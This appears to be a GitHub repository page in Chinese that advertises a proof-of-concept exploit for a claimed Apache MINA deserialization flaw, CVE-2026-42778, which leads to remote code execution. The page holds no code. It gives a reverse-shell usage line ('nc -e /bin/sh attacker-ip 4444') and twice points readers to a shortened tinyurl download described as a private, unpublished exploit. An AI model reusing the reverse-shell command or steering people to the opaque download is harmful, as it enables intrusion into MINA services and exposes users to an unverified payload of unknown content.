Akinfue/CVE-2026-42778-POC

GitHub: Akinfue/CVE-2026-42778-POC

Apache MINA 反序列化漏洞 CVE-2026-42778 的概念验证,利用类名白名单校验时机不当实现远程代码执行。

Stars: 0 | Forks: 0

# CVE-2026-42778 ## 概述 Apache MINA AbstractIoBuffer.getObject() 方法存在不完整修复。限制哪些类可以被反序列化的类名允许列表验证应用得太晚,在被读取的类中的静态初始化器可能已经执行之后。发生这种情况是因为针对 CVE-2024-52046 的原始修复未正确应用到 2.1.X 和 2.2.X 分支。受影响版本: - Apache MINA 2.1.0 至 2.1.11 - Apache MINA 2.2.0 至 2.2.6 ## 利用: ### [在此下载](https://tinyurl.com/56te4twr) ## 详细信息 + **CVE ID**: CVE-2026-42778 + **发布日期**: 05/01/2026 + **影响**: 严重 + **漏洞利用可用性**: 未公开,仅限私下。 + **CVSS**: 9.8 + **补丁可用性: (尚无官方补丁)** ## 影响 攻击者可以构造恶意的序列化对象,当这些对象被 IoBuffer.getObject() 处理时,会在类名允许列表验证发生之前,通过静态初始化器执行任意代码。由于这是一个无需权限或用户交互即可通过网络访问的漏洞,因此任何使用 Apache MINA 并调用 IoBuffer.getObject() 方法的应用程序都可能面临远程代码执行的风险。该漏洞允许完全破坏受影响系统的机密性、完整性和可用性。 ## 受影响版本 - Apache MINA 2.1.0 至 2.1.11 - Apache MINA 2.2.0 至 2.2.6 ## 使用方法 ``` # 编译并生成 javac ExploitGenerator.java java ExploitGenerator "nc -e /bin/sh attacker-ip 4444" # 使用 ObjectSerializationCodecFactory 通过网络发送至基于 MINA 的服务 # 或任何调用 IoBuffer.getObject() 的 endpoint ``` ## 联系方式 + **如有疑问,请联系:coutinhored11@outlook.com** + **漏洞利用** : [这里](https://tinyurl.com/56te4twr)
标签:0day漏洞, Apache MINA, CISA项目, CVE-2026-42778, CWE-502, EUVD-2026-26492, EXP, GHAS, IoBuffer, Java安全, JS文件枚举, RCE, 反序列化漏洞, 漏洞分析, 白名单绕过, 编程工具, 网络安全, 路径探测, 远程代码执行, 隐私保护, 静态初始化器, 高危漏洞